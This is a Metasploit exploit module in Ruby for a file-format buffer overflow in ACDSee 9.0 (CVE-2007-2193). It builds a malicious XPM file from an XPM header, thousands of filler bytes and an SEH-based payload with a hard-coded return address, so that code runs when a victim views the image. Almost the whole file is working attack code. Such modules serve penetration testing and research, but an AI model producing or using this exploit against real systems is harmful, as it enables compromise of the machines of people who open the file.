83 lines
2.2 KiB
Ruby
83 lines
2.2 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'ACDSee XPM File Section Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in ACDSee 9.0.
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When viewing a malicious XPM file with the ACDSee product,
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a remote attacker could overflow a buffer and execute
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arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => 'MC',
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '23620' ],
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[ 'CVE', '2007-2193' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 750,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
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'DisableNops' => 'True',
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'ACDSee 9.0 (Build 1008)', { 'Ret' => 0x10020758 } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Nov 23 2007',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.xpm']),
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OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
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], self.class)
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end
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def exploit
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filler = rand_text_alpha_upper(rand(25) + 1)
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# http://www.fileformat.info/format/xpm/
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head = "/* XPM */\r\n"
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head << "static char * #{filler}[] = {\r\n"
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head << "\""
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buff = rand_text_alpha_upper(4200) + generate_seh_payload(target.ret)
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foot = "\",\r\n" + "};\r\n"
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xpm = head + buff + foot
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(xpm)
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end
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end
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